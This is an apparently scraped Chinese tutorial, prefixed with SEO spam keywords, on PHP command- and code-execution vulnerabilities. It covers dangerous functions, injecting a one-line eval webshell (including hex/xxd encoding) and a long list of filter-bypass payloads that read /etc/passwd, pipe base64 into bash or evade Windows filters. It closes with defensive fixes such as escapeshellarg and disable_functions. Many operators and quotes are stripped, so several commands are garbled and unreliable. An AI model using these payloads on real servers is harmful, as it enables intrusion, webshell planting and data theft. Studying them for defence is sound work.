上海网站建设专业公司排名,wordpress图片主题中文版,cpa网站建设,古交网站建设命令执行原理就是指用户通过浏览器或其他辅助程序提交执行命令#xff0c;由于服务器端没有针对执行函数做过滤#xff0c;导致在没有指定绝对路径的情况下就执行命令。漏洞成因它所执行的命令会继承WebServer的权限#xff0c;也就是说可以任意读取、修改、执行Web目录下的…命令执行原理就是指用户通过浏览器或其他辅助程序提交执行命令由于服务器端没有针对执行函数做过滤导致在没有指定绝对路径的情况下就执行命令。漏洞成因它所执行的命令会继承WebServer的权限也就是说可以任意读取、修改、执行Web目录下的任何文件。能够进行命令执行的php函数一共有七个分别是system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open()除函数外倒引号( )内的内容也可以进行命令执行命令执行漏洞形成的原因是web服务器对用户输入的命令安全监测不足导致恶意代码被执行。直接返回结果直接返回执行结果的有system()、exec()、shell_exec()、passthru()?php system(whoami); ?返回文件指针popen()和proc_open()不会直接返回执行结果而是返回文件指针。例如?php popen(whoami C:/1.txt,r) ?这段程序执行后我们可以在C盘根目录下看到1.txt文件里面的内容是WebServer的用户名。在popen函数中需要两个参数一个是执行的命令另一个是指针文件的连接模式rw表示读写。pcntl拓展 pcntl是linux下的一个扩展,可以支持php的多线程操作pcntl_exec()函数必须在该拓展安装的情况下才能执行平时比较少见倒引号倒引号也可以执行命令原理是调用shell_exec函数一个简单的例子?php echo whoami; ?程序执行后会输出当前WebServer的用户名。命令分隔符windows: || || 直接执行后面的语句 ping 127.0.0.1|whoami|| 前面出错执行后面的 前面为假 ping 2 || whoami 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1whoami前面的语句为假则直接出错后面的也不执行前面只能为真 ping 127.0.0.1whoamilinux: || | ;; 前面的执行完执行后面的 ping 127.0.0.1;whoami| 管道符显示后面的执行结果 ping 127.0.0.1|whoami|| 当前面的执行出错时执行后面的 ping 1||whoami 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1whoami前面的语句为假则直接出错后面的也不执行前面只能为真 ping 127.0.0.1whoami命令执行漏洞利用1、可尝试进行反弹shell搭建服务执行wget下载webshell。2、写入webshell:利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义假设需要写入?php eval$_POST[wang]); ?方法如下Windows用^转义即执行echo ^?php eval$_POST[kang]); ?^ webweb可写目录加文件完整名字Linuxlinux下需要用\来转义不过很多php都默认开启gpc(魔术引号magic_quotes_gpc()。可以先用16进制转换一句话再用xxd命令把16进制还原命令如下echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps webweb可写目录加文件完整名字后面命令注入也有时间盲注和sql注入很像命令执行绕过技巧1、Linux场景1)通配符绕过cat /et?/p?*sswd *匹配零个或多个字符 匹配任意单个字符[0-9]匹配范围内的数字[abc]匹配已出的任意字符2)命令拼接可以用、、|、||这几种方式进行命令拼接ls cat /etc/passwd3)注释符#进行绕过cat /etc/passwd #anything4)编码绕过URL编码是web端进行命令执行绕过最常用的方法cat%20%2Fetc%2Fpasswdbase64编码绕过将想要执行的命令进行base64编码然后添加到下面的双引号里面echo d2hvYW1p | base64 -d | bash5)$IFS空字符绕过cat$IFS/etc/passwdcat$IFS$1/etc/passwdcat${IFS}/etc/passwdcat$IFS$9/etc/passwd6)字符拼接cat /etc/passwd7)转义拼接\c\a\t /etc/passwd8)命令拼接aca;bt;$a$b /etc/passwd9)填充垃圾字符绕过cat /etc/passwd xxx666whoami66610)分号(;)pwd;whoami11)反引号和$()echo result : whoamiecho result : $(whoami)12)重定向绕过(可绕过空格)cat1.txtcat1.txt13)单引号和双引号cat 1.txt14)反斜杠\绕过c\a\t 1.t\x\t15)$1、$、$*绕过$1、$、$*绕过c$1a$1t 1.t$1$1x$1tc$a$t 1.t$x$tc$*a$*t 1.t$*x$*t16)绕过长度限制使用绕过长度限制使用每次添加一部分命令到文件中。echo -n cat r;echo -n /etc r;echo /passwd r;cat r | bash使用\绕过ca\t 1.t\xt17)逗号绕过空格{cat,/etc/passwd}18)\x20绕过COMMAND$\x20-al;ls$COMMANDCOMMAND$\x20;ifconfig$COMMANDCOMMAND$\x20;whoami$COMMANDCOMMAND$\x20;id$COMMANDCOMMAND$\x20;pwd$COMMAND19)环境变量绕过打印出环境变量然后截取其中的字符通过字符拼接执行命令。echo ${PATH}echo ${PATH:5:1}echo ${PATH:2:1}${PATH:5:1}${PATH:2:1}20)文件名绕过拼接文件名绕过cat fl[abc]g.txt //匹配[abc]中的任何一个cat f[a-z]ag.txt //匹配a-z范围的任何字符cat fla* //用*匹配任意af;bl;cag;d.txt;cat $a$b$c$d //内联执行表示cat flag.txt正则进行匹配cat /???/??????cat /???/pass*cat /etc$u/passwd2、windows场景1)type绕过命令执行(windows)type.\flag.txttype,flag.txt2)使用特殊符号进行绕过whoamiwho^am^iwhoamiiwhoami3)set命令绕过set awhoset bami%a%%b% //正常执行whoamicall %a%%b% //正常执行whoamiset awhoami%a:~0% //取出所有字符,所以正常执行命令%a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行4)使用ping绕过执行命令cmd.exe /c ping 127.0.0.1/../../../../../../../../../../windows/system32/whoami漏洞危害继承Web服务程序的权限去执行系统命令或读写文件反弹shell控制整个网站甚至控制服务器进一步内网渗透防御措施1、尽量不要使用系统执行命令以免造成不必要的危害2、在执行命令函数、方法前变量一定要做好过滤对敏感字符进行转义3、使用动态函数之前确保使用的函数是指定的函数避免使用用户输入的函数4、对PHP语言来说不能完全控制的危险函数最好不要使用PHP内置的两个函数可以有效防止命令执行escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号这样以确保能够直接将一个字符串传入 shell 函数并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数或者 执行操作符 之前进行转义。代码执行漏洞原理代码执行漏洞是指 攻击者利用 将字符串转化成代码的函数 , 进行代码注入代码执行漏洞成因代码执行漏洞主要有两种产生原因代码执行函数和动态函数执行在php中还存在双引号执行的情况。常见的导致代码执行的函数有eval()、assert()、preg_replace()、call_user_func()、array_map()等它们造成漏洞的原因也给不一致。代码执行相关函数PHP: eval、assert、preg_replace()、/e模式PHP版本5.5.0Javascript: evalVbscriptExecute、EvalPython: execJava: Java中没有php中eval函数这种直接可以将字符串转化为代码执行的函数但是有反射机制并且有各种基于反射机制的表达式引擎如OGNL、SpEL、MVEL等这些都能造成代码执行漏洞。漏洞分类1.代码层过滤不严 商业应用的一些核心代码封装在二进制文件中在web应用中通过system函来调用system(/bin/program --arg$arg);2.系统的漏洞造成命令注入bash破壳漏洞(CVE-2014-6271)3.调用的第三方组件存在代码执行漏洞如WordPress中用来处理图片的ImageMagick组件JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)ThinkPHP命令执行修复方案1.尽量少用执行命令的函数或者直接禁用2.参数值尽量使用引号包括3.在使用动态函数之前确保使用的函数是指定的函数之一4.在进入执行命令的函数/方法之前对参数进行过滤对敏感字符进行转义5.能使用脚本解决的工作不要调用其他程序处理。尽量少用执行命令的函数并在disable_functions中禁用6.对于可控点是程序参数的情况下使用escapeshellcmd函数进行过滤对于可控点是程序参数值的情况下使用escapeshellarg函数进行过滤7.参数的值尽量使用引号包裹并在拼接前调用addslashes进行转义而针对由特定第三方组件引发的漏洞我们要做的就是及时打补丁修改安装时的默认配置。命令执行漏洞与代码执行漏洞的区别1、命名执行漏洞直接调用操作系统命令命令执行漏洞原理在操作系统中、| 、||都可以作为命令连接符使用用户通过浏览器提交执行命令由于服务器端没有针对执行函数做过滤导致在没有指定绝对路径的情况下就执行命令。2、代码执行漏洞靠执行脚本代码调用操作系统命令应用有时需要调用一些执行系统命令的函数如PHP中的system、exec、assert、shell_exec、passthru、popen、poc_popen、escapeshellcmd、pcntl_exec等当用户能控制这些函数中的参数时就可以将恶意系统命令拼接到正常命令中从而造成命令执行漏洞这就是命令执行漏洞。以上函数主要也在webshell中用的多实际上在正常应用中差别不太大用得最多的还是前三个。代码执行漏洞是把代码注入到Web服务器中执行而命令执行漏洞执行的系统命令